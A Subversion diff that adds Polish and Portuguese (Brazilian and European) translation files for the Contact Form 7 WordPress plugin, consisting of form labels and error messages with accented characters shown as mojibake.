+#: contact-form-7/admin/admin-panel.php:248
+msgid "Sender's message was failed to send"
+msgstr "Nie udaÅo siÄ wysÅaÄ wiadomoÅci nadawcy"
+
+#: contact-form-7/admin/admin-panel.php:253
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet stwierdziÅ ÅŒe wysyÅana wiadomoÅÄ to SPAM"
+
+#: contact-form-7/admin/admin-panel.php:258
+msgid "Validation errors occurred"
+msgstr "WystÄ
+piÅ bÅÄ
+d podczas sprawdzania poprawnoÅci"
+
+#: contact-form-7/admin/admin-panel.php:263
+msgid "There is a field that sender is needed to fill in"
+msgstr "PozostaÅy pola do wypeÅnienia przez nadawcÄ"
+
+#: contact-form-7/admin/admin-panel.php:268
+msgid "Email address that sender entered is invalid"
+msgstr "Wprowadzony adres e-mail jest niepoprawny."
+
+#: contact-form-7/admin/admin-panel.php:273
+msgid "There is a field of term that sender is needed to accept"
+msgstr "PozostaÅy pola lub warunki ktÃ³re nadawca musi zaakceptowaÄ"
+
+#: contact-form-7/admin/admin-panel.php:278
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "Nadawca nie wprowadziÅ poprawnej odpowiedzi na pytanie testowe"
+
+#: contact-form-7/admin/admin-panel.php:283
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "Kod ktÃ³ry nadawca wprowadziÅ nie zgadza siÄ z CAPTCHA"
+
+#: contact-form-7/admin/admin-panel.php:288
+msgid "Uploading a file fails for any reason"
+msgstr "WysyÅanie pliku nie powiodÅo siÄ"
+
+#: contact-form-7/admin/admin-panel.php:293
+msgid "Uploaded file is not allowed file type"
+msgstr "Typ wysyÅanego pliku jest niedozwolony"
+
+#: contact-form-7/admin/admin-panel.php:298
+msgid "Uploaded file is too large"
+msgstr "WysyÅany plik jest zbyt duÅŒy"
+
+#: contact-form-7/admin/admin-panel.php:309
+msgid "Additional Settings"
+msgstr "Dodatkowe ustawienia"
+
+#: contact-form-7/admin/admin.php:118
+msgid "Contact"
+msgstr "Kontakt"
+
+#: contact-form-7/admin/admin.php:121
+msgid "Edit Contact Forms"
+msgstr "Edytuj formularze kontaktowe"
+
+#: contact-form-7/admin/admin.php:121
+msgid "Edit"
+msgstr "Edytuj"
+
+#: contact-form-7/admin/admin.php:168
+msgid "optional"
+msgstr "opcjonalnie"
+
+#: contact-form-7/admin/admin.php:169
+msgid "Generate Tag"
+msgstr "Generuj Tag"
+
+#: contact-form-7/admin/admin.php:170
+msgid "Text field"
+msgstr "Pole tekstowe"
+
+#: contact-form-7/admin/admin.php:171
+msgid "Email field"
+msgstr "Email field"
+
+#: contact-form-7/admin/admin.php:172
+msgid "Text area"
+msgstr "Wieloliniowe pole tekstowe"
+
+#: contact-form-7/admin/admin.php:173
+msgid "Drop-down menu"
+msgstr "Menu rozwijalne"
+
+#: contact-form-7/admin/admin.php:174
+msgid "Checkboxes"
+msgstr "Pola wyboru"
+
+#: contact-form-7/admin/admin.php:175
+msgid "Radio buttons"
+msgstr "Pola jednokrotnego wyboru"
+
+#: contact-form-7/admin/admin.php:176
+msgid "Acceptance"
+msgstr "Potwierdzenie"
+
+#: contact-form-7/admin/admin.php:177
+msgid "Make this checkbox checked by default?"
+msgstr "Zaznacz domyÅlnie to pole wyboru?"
+
+#: contact-form-7/admin/admin.php:178
+msgid "Make this checkbox work inversely?"
+msgstr "Pole powinno dziaÅaÄ odwrotnie?"
+
+#: contact-form-7/admin/admin.php:179
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* To oznacza ÅŒe osoba akceptujÄ
+ca warunki musi je odznaczyÄ."
+
+#: contact-form-7/admin/admin.php:180
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/admin/admin.php:181
+msgid "Quiz"
+msgstr "Pytanie testowe"
+
+#: contact-form-7/admin/admin.php:182
+msgid "Quizzes"
+msgstr "Pytania testowe"
+
+#: contact-form-7/admin/admin.php:183
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* pytanie|odpowiedÅº (np. 1+1=?|2)"
+
+#: contact-form-7/admin/admin.php:184
+msgid "File upload"
+msgstr "WysyÅanie pliku"
+
+#: contact-form-7/admin/admin.php:185
+msgid "bytes"
+msgstr "bajty/Ã³w"
+
+#: contact-form-7/admin/admin.php:186
+msgid "Submit button"
+msgstr "Przycisk wysyÅania"
+
+#: contact-form-7/admin/admin.php:187
+msgid "Name"
+msgstr "ImiÄ"
+
+#: contact-form-7/admin/admin.php:188
+msgid "Required field?"
+msgstr "Pole wymagane?"
+
+#: contact-form-7/admin/admin.php:189
+msgid "Allow multiple selections?"
+msgstr "Zezwalaj na wiele sekcji?"
+
+#: contact-form-7/admin/admin.php:190
+msgid "Insert a blank item as the first option?"
+msgstr "Wstaw pusty element jako pierwszÄ
+ opcjÄ?"
+
+#: contact-form-7/admin/admin.php:191
+msgid "Make checkboxes exclusive?"
+msgstr "Pola wyboru powinny byÄ niezaleÅŒne?"
+
+#: contact-form-7/admin/admin.php:192
+msgid "Choices"
+msgstr "WybÃ³r"
+
+#: contact-form-7/admin/admin.php:193
+msgid "Label"
+msgstr "Etykieta"
+
+#: contact-form-7/admin/admin.php:194
+msgid "Default value"
+msgstr "DomyÅlna wartoÅÄ"
+
+#: contact-form-7/admin/admin.php:195
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/admin/admin.php:196
+msgid "This field requires author's name"
+msgstr "To pole wymaga wpisania imienia"
+
+#: contact-form-7/admin/admin.php:197
+msgid "This field requires author's URL"
+msgstr "To pole wymaga wpisania adresu URL"
+
+#: contact-form-7/admin/admin.php:198
+msgid "This field requires author's email address"
+msgstr "To pole wymaga wpisania adresu e-mail"
+
+#: contact-form-7/admin/admin.php:199
+msgid "Copy this code and paste it into the form left."
+msgstr "Skopiuj ten kod i wklej go w formularzu z lewej strony."
+
+#: contact-form-7/admin/admin.php:200
+msgid "Foreground color"
+msgstr "Kolor pierwszoplanowy"
+
+#: contact-form-7/admin/admin.php:201
+msgid "Background color"
+msgstr "Kolor tÅa"
+
+#: contact-form-7/admin/admin.php:202
+msgid "Image size"
+msgstr "Rozmiar obrazu"
+
+#: contact-form-7/admin/admin.php:203
+msgid "Small"
+msgstr "MaÅy"
+
+#: contact-form-7/admin/admin.php:204
+msgid "Medium"
+msgstr "Åredni"
+
+#: contact-form-7/admin/admin.php:205
+msgid "Large"
+msgstr "DuÅŒy"
+
+#: contact-form-7/admin/admin.php:206
+msgid "Image settings"
+msgstr "Ustawienia obrazu"
+
+#: contact-form-7/admin/admin.php:207
+msgid "Input field settings"
+msgstr "Ustawienia pola input"
+
+#: contact-form-7/admin/admin.php:208
+msgid "For image"
+msgstr "Dla obrazu"
+
+#: contact-form-7/admin/admin.php:209
+msgid "For input field"
+msgstr "Dla pola input"
+
+#: contact-form-7/admin/admin.php:210
+msgid "* One choice per line."
+msgstr "* Jedna moÅŒliwoÅÄ na liniÄ"
+
+#: contact-form-7/admin/admin.php:211
+msgid "Show"
+msgstr "PokaÅŒ"
+
+#: contact-form-7/admin/admin.php:212
+msgid "Hide"
+msgstr "Ukryj"
+
+#: contact-form-7/admin/admin.php:213
+msgid "File size limit"
+msgstr "Limit wielkoÅci pliku"
+
+#: contact-form-7/admin/admin.php:214
+msgid "Acceptable file types"
+msgstr "Akceptowalne typy plikÃ³w"
+
+#: contact-form-7/admin/admin.php:215
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr "Uwaga: Aby uÅŒyÄ CAPTCHA, musisz zainstalowaÄ plugin Really Simple CAPTCHA."
+
+#: contact-form-7/admin/admin.php:226
+msgid "Contact form created."
+msgstr "Formularz kontaktowy zostaÅ utworzony."
+
+#: contact-form-7/admin/admin.php:229
+msgid "Contact form saved."
+msgstr "Formularz kontaktowy zostaÅ zapisany."
+
+#: contact-form-7/admin/admin.php:232
+msgid "Contact form deleted."
+msgstr "Formularz kontaktowy zostaÅ usuniÄty."
+
+#: contact-form-7/admin/admin.php:235
+msgid "Database table created."
+msgstr "Tabela w bazie danych zostaÅa utworzona."
+
+#: contact-form-7/admin/admin.php:238
+msgid "Failed to create database table."
+msgstr "Tworzenie tabeli w bazie danych nie powiodÅo siÄ."
+
+#: contact-form-7/admin/admin.php:311
+msgid "Contact form"
+msgstr "Formularz kontaktowy"
+
+#: contact-form-7/admin/admin.php:345
+msgid "Settings"
+msgstr "Ustawienia"
+
+#: contact-form-7/admin/admin.php:366
+msgid "Contact Form 7 needs your support. Please donate today."
+msgstr "Contact Form 7 potrzebuje Twojego wsparcia. Wesprzyj nas jeszcze dzisiaj."
+
+#: contact-form-7/admin/admin.php:367
+msgid "Is this plugin useful for you? If you like it, please help the developer."
+msgstr "Czy ten plugin dobrze Ci sÅuÅŒy? JeÅŒeli tak, to pomÃ³ÅŒ jego autorowi."
+
+#: contact-form-7/admin/admin.php:368
+msgid "Your contribution is needed for making this plugin better."
+msgstr "Twoje wsparcie jest niezbÄdne aby dalej ulepszaÄ ten plugin."
+
+#: contact-form-7/admin/admin.php:369
+msgid "Developing a plugin and providing user support is really hard work. Please help."
+msgstr "Rozwijanie pluginu i dostarczanie wsparcia jego uÅŒytkownikom jest naprawdÄ ciÄÅŒkÄ
+ pracÄ
+. ProszÄ pomÃ³ÅŒ."
+
+#: contact-form-7/includes/classes.php:536
+msgid "Untitled"
+msgstr "Bez tytuÅu"
+
+#: contact-form-7/includes/functions.php:6
+msgid "Your message was sent successfully. Thanks."
+msgstr "Twoja wiadomoÅÄ zostaÅ wysÅana. DziÄki!"
+
+#: contact-form-7/includes/functions.php:8
+#: contact-form-7/includes/functions.php:10
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Nie udaÅo siÄ wysÅaÄ wiadomoÅci. SprÃ³buj pÃ³Åºniej lub skontaktuj siÄ innÄ
+ drogÄ
+."
+
+#: contact-form-7/includes/functions.php:12
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "WystÄ
+piÅ bÅÄ
+d. SprawdÅº poprawnoÅÄ pÃ³l i wyÅlij ponownie."
+
+#: contact-form-7/includes/functions.php:14
+msgid "Please accept the terms to proceed."
+msgstr "ProszÄ zaakceptowaÄ warunki aby kontynuowaÄ."
+
+#: contact-form-7/includes/functions.php:16
+msgid "Email address seems invalid."
+msgstr "Adres e-mail wyglÄ
+da na niepoprawny."
+
+#: contact-form-7/includes/functions.php:18
+msgid "Please fill the required field."
+msgstr "ProszÄ wypeÅniÄ wszystkie pola."
+
+#: contact-form-7/includes/functions.php:20
+msgid "Your entered code is incorrect."
+msgstr "Kod, ktÃ³ry wprowadziÅeÅ jest niepoprawny."
+
+#: contact-form-7/includes/functions.php:22
+msgid "Your answer is not correct."
+msgstr "Twoja odpowiedÅº nie jest poprawna."
+
+#: contact-form-7/includes/functions.php:24
+msgid "Failed to upload file."
+msgstr "WysyÅanie pliku nie powiodÅo siÄ."
+
+#: contact-form-7/includes/functions.php:26
+msgid "This file type is not allowed."
+msgstr "Ten typ pliku nie jest dozwolony."
+
+#: contact-form-7/includes/functions.php:28
+msgid "This file is too large."
+msgstr "Plik jest zbyt duÅŒy."
+
+#: contact-form-7/includes/functions.php:33
+msgid "Your Name"
+msgstr "Twoje imiÄ"
+
+#: contact-form-7/includes/functions.php:33
+#: contact-form-7/includes/functions.php:35
+msgid "(required)"
+msgstr "(wymagane)"
+
+#: contact-form-7/includes/functions.php:35
+msgid "Your Email"
+msgstr "TwÃ³j e-mail"
+
+#: contact-form-7/includes/functions.php:37
+msgid "Subject"
+msgstr "Temat"
+
+#: contact-form-7/includes/functions.php:39
+msgid "Your Message"
+msgstr "Twoja wiadomoÅÄ"
+
+#: contact-form-7/includes/functions.php:41
+#: contact-form-7/modules/submit.php:37
+msgid "Send"
+msgstr "WyÅlij"
+
+#: contact-form-7/modules/captcha.php:62
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr "Aby uÅŒyÄ CAPTCHA, musisz zainstalowaÄ plugin <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a>."
+
+#~ msgid "Delete this contact form"
+#~ msgstr "UsuÅ ten formularz kontaktowy"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-pt_BR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-pt_BR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-pt_BR.po	(revision 44)
@@ -0,0 +1,400 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-07 00:21+0900\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Henrique Vianna <hvianna@gmail.com>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: contact-form-7/wp-contact-form-7.php:391
+msgid "Contact form"
+msgstr "FormulÃ¡rio de contato"
+
+#: contact-form-7/wp-contact-form-7.php:548
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:566
+msgid "optional"
+msgstr "opcional"
+
+#: contact-form-7/wp-contact-form-7.php:567
+msgid "Generate Tag"
+msgstr "Gerar tag"
+
+#: contact-form-7/wp-contact-form-7.php:568
+msgid "Text field"
+msgstr "Campo de texto"
+
+#: contact-form-7/wp-contact-form-7.php:569
+msgid "Email field"
+msgstr "Campo de e-mail"
+
+#: contact-form-7/wp-contact-form-7.php:570
+msgid "Text area"
+msgstr "Ãrea de texto"
+
+#: contact-form-7/wp-contact-form-7.php:571
+msgid "Drop-down menu"
+msgstr "Menu drop-down"
+
+#: contact-form-7/wp-contact-form-7.php:572
+msgid "Checkboxes"
+msgstr "Checkboxes"
+
+#: contact-form-7/wp-contact-form-7.php:573
+msgid "Radio buttons"
+msgstr "BotÃµes de rÃ¡dio"
+
+#: contact-form-7/wp-contact-form-7.php:574
+msgid "Acceptance"
+msgstr "AceitaÃ§Ã£o"
+
+#: contact-form-7/wp-contact-form-7.php:575
+msgid "Make this checkbox checked by default?"
+msgstr "Deixar esta opÃ§Ã£o marcada por padrÃ£o?"
+
+#: contact-form-7/wp-contact-form-7.php:576
+msgid "Make this checkbox work inversely?"
+msgstr "Fazer esta opÃ§Ã£o funcionar inversamente?"
+
+#: contact-form-7/wp-contact-form-7.php:577
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* Isso significa que o visitante que aceitar os termos deverÃ¡ desmarcÃ¡-la."
+
+#: contact-form-7/wp-contact-form-7.php:578
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:579
+msgid "File upload"
+msgstr "Upload de arquivo"
+
+#: contact-form-7/wp-contact-form-7.php:580
+msgid "Submit button"
+msgstr "BotÃ£o de envio"
+
+#: contact-form-7/wp-contact-form-7.php:581
+msgid "Name"
+msgstr "Nome"
+
+#: contact-form-7/wp-contact-form-7.php:582
+msgid "Required field?"
+msgstr "Campo obrigatÃ³rio?"
+
+#: contact-form-7/wp-contact-form-7.php:583
+msgid "Allow multiple selections?"
+msgstr "Permitir mÃºltiplas seleÃ§Ãµes?"
+
+#: contact-form-7/wp-contact-form-7.php:584
+msgid "Insert a blank item as the first option?"
+msgstr "Inserir um item em branco como primeira opÃ§Ã£o?"
+
+#: contact-form-7/wp-contact-form-7.php:585
+msgid "Make checkboxes exclusive?"
+msgstr "Tornar as checkboxes exclusivas?"
+
+#: contact-form-7/wp-contact-form-7.php:586
+msgid "Choices"
+msgstr "OpÃ§Ãµes"
+
+#: contact-form-7/wp-contact-form-7.php:587
+msgid "Label"
+msgstr "Label"
+
+#: contact-form-7/wp-contact-form-7.php:588
+msgid "Default value"
+msgstr "Valor padrÃ£o"
+
+#: contact-form-7/wp-contact-form-7.php:589
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:590
+msgid "This field requires author's name"
+msgstr "Este campo Ã© o nome do autor"
+
+#: contact-form-7/wp-contact-form-7.php:591
+msgid "This field requires author's URL"
+msgstr "Este campo Ã© o URL do autor"
+
+#: contact-form-7/wp-contact-form-7.php:592
+msgid "This field requires author's email address"
+msgstr "Este campo Ã© o endereÃ§o de e-mail do autor"
+
+#: contact-form-7/wp-contact-form-7.php:593
+msgid "Copy this code and paste it into the form left."
+msgstr "Copie este cÃ³digo e cole-o no formulÃ¡rio Ã  esquerda."
+
+#: contact-form-7/wp-contact-form-7.php:594
+msgid "Foreground color"
+msgstr "Cor do texto"
+
+#: contact-form-7/wp-contact-form-7.php:595
+msgid "Background color"
+msgstr "Cor de fundo"
+
+#: contact-form-7/wp-contact-form-7.php:596
+msgid "Image size"
+msgstr "Tamanho da imagem"
+
+#: contact-form-7/wp-contact-form-7.php:597
+msgid "Small"
+msgstr "Pequena"
+
+#: contact-form-7/wp-contact-form-7.php:598
+msgid "Medium"
+msgstr "MÃ©dia"
+
+#: contact-form-7/wp-contact-form-7.php:599
+msgid "Large"
+msgstr "Grande"
+
+#: contact-form-7/wp-contact-form-7.php:600
+msgid "Image settings"
+msgstr "ConfiguraÃ§Ãµes da imagem"
+
+#: contact-form-7/wp-contact-form-7.php:601
+msgid "Input field settings"
+msgstr "ConfiguraÃ§Ãµes do campo de digitaÃ§Ã£o"
+
+#: contact-form-7/wp-contact-form-7.php:602
+msgid "For image"
+msgstr "Para a imagem"
+
+#: contact-form-7/wp-contact-form-7.php:603
+msgid "For input field"
+msgstr "Para o campo de digitaÃ§Ã£o"
+
+#: contact-form-7/wp-contact-form-7.php:604
+msgid "* One choice per line."
+msgstr "* Uma opÃ§Ã£o por linha."
+
+#: contact-form-7/wp-contact-form-7.php:605
+msgid "Show"
+msgstr "Exibir"
+
+#: contact-form-7/wp-contact-form-7.php:606
+msgid "Hide"
+msgstr "Ocultar"
+
+#: contact-form-7/wp-contact-form-7.php:607
+msgid "File size limit"
+msgstr "Limite do tamanho de arquivo"
+
+#: contact-form-7/wp-contact-form-7.php:608
+msgid "Acceptable file types"
+msgstr "Tipos de arquivo aceitÃ¡veis"
+
+#: contact-form-7/wp-contact-form-7.php:634
+msgid "Contact form created."
+msgstr "FormulÃ¡rio de contato criado."
+
+#: contact-form-7/wp-contact-form-7.php:637
+msgid "Contact form saved."
+msgstr "FormulÃ¡rio de contato salvo."
+
+#: contact-form-7/wp-contact-form-7.php:640
+msgid "Contact form deleted."
+msgstr "FormulÃ¡rio de contato excluÃ­do."
+
+#: contact-form-7/wp-contact-form-7.php:651
+msgid "Untitled"
+msgstr "Sem nome"
+
+#: contact-form-7/wp-contact-form-7.php:678
+msgid "Your Name"
+msgstr "Seu nome"
+
+#: contact-form-7/wp-contact-form-7.php:678
+#: contact-form-7/wp-contact-form-7.php:680
+msgid "(required)"
+msgstr "(obrigatÃ³rio)"
+
+#: contact-form-7/wp-contact-form-7.php:680
+msgid "Your Email"
+msgstr "Seu e-mail"
+
+#: contact-form-7/wp-contact-form-7.php:682
+msgid "Subject"
+msgstr "Assunto"
+
+#: contact-form-7/wp-contact-form-7.php:684
+msgid "Your Message"
+msgstr "Sua mensagem"
+
+#: contact-form-7/wp-contact-form-7.php:686
+#: contact-form-7/wp-contact-form-7.php:1325
+msgid "Send"
+msgstr "Enviar"
+
+#: contact-form-7/wp-contact-form-7.php:739
+msgid "Your message was sent successfully. Thanks."
+msgstr "Sua mensagem foi enviada com sucesso. Obrigado."
+
+#: contact-form-7/wp-contact-form-7.php:741
+#: contact-form-7/wp-contact-form-7.php:743
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Falha ao enviar sua mensagem. Por favor tente mais tarde ou contacte o administrador de outra forma."
+
+#: contact-form-7/wp-contact-form-7.php:745
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Ocorreram erros de validaÃ§Ã£o. Por favor confira os dados e envie novamente."
+
+#: contact-form-7/wp-contact-form-7.php:747
+msgid "Please accept the terms to proceed."
+msgstr "Por favor aceite os termos para prosseguir."
+
+#: contact-form-7/wp-contact-form-7.php:749
+msgid "Email address seems invalid."
+msgstr "O endereÃ§o de e-mail parece invÃ¡lido."
+
+#: contact-form-7/wp-contact-form-7.php:751
+msgid "Please fill the required field."
+msgstr "Por favor preencha este campo obrigatÃ³rio."
+
+#: contact-form-7/wp-contact-form-7.php:753
+msgid "Your entered code is incorrect."
+msgstr "O cÃ³digo digitado estÃ¡ incorreto."
+
+#: contact-form-7/wp-contact-form-7.php:755
+msgid "Failed to upload file."
+msgstr "Falha no upload do arquivo."
+
+#: contact-form-7/wp-contact-form-7.php:757
+msgid "This file type is not allowed."
+msgstr "Este tipo de arquivo nÃ£o Ã© permitido."
+
+#: contact-form-7/wp-contact-form-7.php:759
+msgid "This file is too large."
+msgstr "Este arquivo Ã© grande demais."
+
+#: contact-form-7/includes/admin-panel.php:20
+msgid "Add new"
+msgstr "Adicionar novo"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "Copie este cÃ³digo e cole-o no conteÃºdo do seu post, pÃ¡gina ou widget de texto."
+
+#: contact-form-7/includes/admin-panel.php:49
+#: contact-form-7/includes/admin-panel.php:253
+msgid "Save"
+msgstr "Salvar"
+
+#: contact-form-7/includes/admin-panel.php:55
+msgid "Delete this contact form"
+msgstr "Excluir este formulÃ¡rio de contato"
+
+#: contact-form-7/includes/admin-panel.php:56
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"VocÃª estÃ¡ prestes a excluir este formulÃ¡rio.\n"
+" 'Cancelar' para interromper, 'OK' para excluir."
+
+#: contact-form-7/includes/admin-panel.php:70
+msgid "Form"
+msgstr "FormulÃ¡rio"
+
+#: contact-form-7/includes/admin-panel.php:90
+msgid "Mail"
+msgstr "Mail"
+
+#: contact-form-7/includes/admin-panel.php:97
+#: contact-form-7/includes/admin-panel.php:149
+msgid "To:"
+msgstr "Para:"
+
+#: contact-form-7/includes/admin-panel.php:101
+#: contact-form-7/includes/admin-panel.php:153
+msgid "From:"
+msgstr "De:"
+
+#: contact-form-7/includes/admin-panel.php:105
+#: contact-form-7/includes/admin-panel.php:157
+msgid "Subject:"
+msgstr "Assunto:"
+
+#: contact-form-7/includes/admin-panel.php:110
+#: contact-form-7/includes/admin-panel.php:162
+msgid "File attachments:"
+msgstr "Arquivos anexos:"
+
+#: contact-form-7/includes/admin-panel.php:112
+#: contact-form-7/includes/admin-panel.php:164
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(VocÃª precisa do WordPress 2.7 ou superior para usar este recurso)"
+
+#: contact-form-7/includes/admin-panel.php:120
+#: contact-form-7/includes/admin-panel.php:172
+msgid "Use HTML content type"
+msgstr "Usar tipo de conteÃºdo HTML"
+
+#: contact-form-7/includes/admin-panel.php:125
+#: contact-form-7/includes/admin-panel.php:177
+msgid "Message body:"
+msgstr "Corpo da mensagem:"
+
+#: contact-form-7/includes/admin-panel.php:136
+msgid "Mail (2)"
+msgstr "Mail (2)"
+
+#: contact-form-7/includes/admin-panel.php:143
+msgid "Use mail (2)"
+msgstr "Usar mail (2)"
+
+#: contact-form-7/includes/admin-panel.php:188
+msgid "Messages"
+msgstr "Mensagens"
+
+#: contact-form-7/includes/admin-panel.php:196
+msgid "Sender's message was sent successfully"
+msgstr "A mensagem foi enviada com sucesso"
+
+#: contact-form-7/includes/admin-panel.php:200
+msgid "Sender's message was failed to send"
+msgstr "O envio da mensagem falhou"
+
+#: contact-form-7/includes/admin-panel.php:204
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet julgou a atividade de envio como spam"
+
+#: contact-form-7/includes/admin-panel.php:208
+msgid "Validation errors occurred"
+msgstr "Ocorreram erros de validaÃ§Ã£o"
+
+#: contact-form-7/includes/admin-panel.php:212
+msgid "There is a field that sender is needed to fill in"
+msgstr "HÃ¡ um campo que o remetente deve preencher"
+
+#: contact-form-7/includes/admin-panel.php:216
+msgid "Email address that sender entered is invalid"
+msgstr "O endereÃ§o de e-mail digitado Ã© invÃ¡lido"
+
+#: contact-form-7/includes/admin-panel.php:220
+msgid "There is a field of term that sender is needed to accept"
+msgstr "HÃ¡ um campo de termos que o remetente deve aceitar"
+
+#: contact-form-7/includes/admin-panel.php:224
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "O cÃ³digo digitado pelo remetente nÃ£o confere com o CAPTCHA"
+
+#: contact-form-7/includes/admin-panel.php:228
+msgid "Uploading a file fails for any reason"
+msgstr "O upload de um arquivo falhou por alguma razÃ£o"
+
+#: contact-form-7/includes/admin-panel.php:232
+msgid "Uploaded file is not allowed file type"
+msgstr "O tipo do arquivo enviado nÃ£o Ã© permitido"
+
+#: contact-form-7/includes/admin-panel.php:236
+msgid "Uploaded file is too large"
+msgstr "Arquivo enviado Ã© muito grande"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-pt_PT.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-pt_PT.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-pt_PT.po	(revision 44)
@@ -0,0 +1,305 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-03-02 16:52+0900\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Hugo Baeta <info@hugobaeta.com>\n"
+"Language-Team: Hugo Baeta <info@hugobaeta.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Portuguese\n"
+"X-Poedit-Country: PORTUGAL\n"
+
+#: contact-form-7/wp-contact-form-7.php:271
+msgid "Contact form"
+msgstr "FormulÃ¡rio de contacto"
+
+#: contact-form-7/wp-contact-form-7.php:356
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:372
+msgid "optional"
+msgstr "opcional"
+
+#: contact-form-7/wp-contact-form-7.php:373
+msgid "Generate Tag"
+msgstr "Gerar tag"
+
+#: contact-form-7/wp-contact-form-7.php:374
+msgid "Text field"
+msgstr "Campo de texto"
+
+#: contact-form-7/wp-contact-form-7.php:375
+msgid "Email field"
+msgstr "Campo de e-mail"
+
+#: contact-form-7/wp-contact-form-7.php:376
+msgid "Text area"
+msgstr "Ãrea de texto"
+
+#: contact-form-7/wp-contact-form-7.php:377
+msgid "Drop-down menu"
+msgstr "Menu drop-down"
+
+#: contact-form-7/wp-contact-form-7.php:378
+msgid "Checkboxes"
+msgstr "Caixa de SelecÃ§Ã£o"
+
+#: contact-form-7/wp-contact-form-7.php:379
+msgid "Radio buttons"
+msgstr "BotÃµes de SelecÃ§Ã£o"
+
+#: contact-form-7/wp-contact-form-7.php:380
+msgid "Acceptance"
+msgstr "AceitaÃ§Ã£o"
+
+#: contact-form-7/wp-contact-form-7.php:381
+msgid "Make this checkbox checked by default?"
+msgstr "Deixar esta opÃ§Ã£o marcada por defeito?"
+
+#: contact-form-7/wp-contact-form-7.php:382
+msgid "Make this checkbox work inversely?"
+msgstr "Fazer esta Caixa de SelecÃ§Ã£o funcionar inversamente?"
+
+#: contact-form-7/wp-contact-form-7.php:383
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* Isso significa que o visitante que aceitar os termos deverÃ¡ desmarcÃ¡-la."
+
+#: contact-form-7/wp-contact-form-7.php:384
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:385
+msgid "Submit button"
+msgstr "BotÃ£o de envio"
+
+#: contact-form-7/wp-contact-form-7.php:386
+msgid "Name"
+msgstr "Nome"
+
+#: contact-form-7/wp-contact-form-7.php:387
+msgid "Required field?"
+msgstr "Campo obrigatÃ³rio?"
+
+#: contact-form-7/wp-contact-form-7.php:388
+msgid "Allow multiple selections?"
+msgstr "Permitir selecÃ§Ãµes mÃºltiplas?"
+
+#: contact-form-7/wp-contact-form-7.php:389
+msgid "Insert a blank item as the first option?"
+msgstr "Inserir Ã­tem em branco como primeira opÃ§Ã£o?"
+
+#: contact-form-7/wp-contact-form-7.php:390
+msgid "Make checkboxes exclusive?"
+msgstr "Tornar as caixas de selecÃ§Ã£o exclusivas?"
+
+#: contact-form-7/wp-contact-form-7.php:391
+msgid "Choices"
+msgstr "OpÃ§Ãµes"
+
+#: contact-form-7/wp-contact-form-7.php:392
+msgid "Label"
+msgstr "Etiqueta"
+
+#: contact-form-7/wp-contact-form-7.php:393
+msgid "Default value"
+msgstr "Valor padrÃ£o"
+
+#: contact-form-7/wp-contact-form-7.php:394
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:395
+msgid "This field requires author's name"
+msgstr "Este campo Ã© o nome do autor"
+
+#: contact-form-7/wp-contact-form-7.php:396
+msgid "This field requires author's URL"
+msgstr "Este campo Ã© o URL do autor"
+
+#: contact-form-7/wp-contact-form-7.php:397
+msgid "This field requires author's email address"
+msgstr "Este campo Ã© o endereÃ§o de e-mail do autor"
+
+#: contact-form-7/wp-contact-form-7.php:398
+msgid "Copy and paste this code into the form"
+msgstr "Copie e cole o seguinte cÃ³digo no formulÃ¡rio"
+
